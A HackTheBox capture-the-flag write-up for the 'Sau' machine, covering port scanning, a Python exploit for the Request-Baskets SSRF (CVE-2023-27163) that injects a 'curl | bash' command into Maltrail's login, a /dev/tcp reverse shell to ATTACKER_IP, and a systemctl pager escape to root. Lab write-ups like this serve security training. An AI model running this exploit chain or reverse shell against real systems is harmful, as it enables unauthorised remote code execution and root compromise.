> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/sau-hackthebox-writeup.md). # Sau HackTheBox Writeup {% embed url="" %} {% hint style="warning" %} **Skills:** * Request-Baskets SSRF * Maltrail command injection * `systemctl` pager escape {% endhint %} ## Reconnaissance Create a workspace for scan output, content, and exploits. ```bash mkdir {nmap,content,script,exploit} ```

Start with a full TCP scan. Port `22` and port `55555` are open. ```bash nmap -p- --open -sS -n -PN --min-rate 5000 -vvv 10.129.229.26 -oG allPorts ```

Identify the exposed service versions. ```bash nmap -sCV -p22,55555 10.129.229.26 -oN targeted ```

The HTTP service is Request-Baskets `1.2.1`.

This version is vulnerable to SSRF through basket forwarding.

The vulnerability lets us create a basket that forwards requests to an internal service. {% embed url="" %} ## Initial access Request-Baskets can reach the local Maltrail service. Maltrail's login endpoint accepts command injection. ### Prepare the listener Create a reverse-shell script. Replace `ATTACKER_IP` with your VPN address. ```bash echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > shell.sh python3 -m http.server 80 nc -nvlp 4444 ``` ### Exploit the SSRF Use the linked proof of concept to create a basket. It forwards requests to `127.0.0.1`. Save the following script as `exploit.py`. It creates the basket and triggers the Maltrail payload. {% code title="exploit.py" overflow="wrap" %} ```python import argparse import json import sys import requests def get_args(): parser = argparse.ArgumentParser( description="Exploit CVE-2023-27163 in Request-Baskets." ) parser.add_argument("-t", "--target", required=True) parser.add_argument("-p", "--port", type=int, default=80) parser.add_argument("-b", "--basket", required=True) parser.add_argument("--local-ip", required=True) parser.add_argument("--local-port", type=int, default=80) parser.add_argument("--payload-file", required=True) return parser.parse_args() def create_basket(target_url, basket_name): payload = { "forward_url": "http://127.0.0.1", "proxy_response": True, "insecure_tls": False, "expand_path": True, "capacity": 250, } response = requests.post( f"{target_url}/api/baskets/{basket_name}", json=payload, ) if response.status_code in [200, 201, 202]: return response.json()["token"] print(f"Failed to create the basket: {response.text}") sys.exit(1) def trigger_rce(target_url, basket_name, token, local_ip, local_port, payload_file): payload_url = f"http://{local_ip}:{local_port}/{payload_file}" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/x-www-form-urlencoded", } data = f"username=;`curl {payload_url} | bash`" response = requests.post( f"{target_url}/{basket_name}/login", data=data, headers=headers, ) if response.status_code in [200, 201, 202]: print("Payload sent. Check the listener.") return print(f"RCE trigger failed: {response.text}") def main(): args = get_args() target_url = f"http://{args.target}:{args.port}" token = create_basket(target_url, args.basket) trigger_rce( target_url, args.basket, token, args.local_ip, args.local_port, args.payload_file, ) if __name__ == "__main__": main() ``` {% endcode %} {% code overflow="wrap" %} ```bash python3 exploit.py -t 10.129.229.26 -p 55555 -b shell --local-ip 10.10.15.2 --local-port 80 --payload-file shell.sh ``` {% endcode %} The exploit requests the Maltrail login endpoint through the basket. It downloads `shell.sh` and returns a shell.

### User flag

## Privilege escalation Check the current user's sudo permissions. {% code overflow="wrap" %} ```bash sudo -l ``` {% endcode %}

The user can view the `trail.service` status as root. `systemctl` opens the output in `less`.

Run the permitted command. Ensure the output opens in the pager. ```bash sudo /usr/bin/systemctl status trail.service ``` Inside `less`, run a shell escape. {% code overflow="wrap" %} ```bash !sh ``` {% endcode %} The resulting shell runs as `root`.

### Root flag

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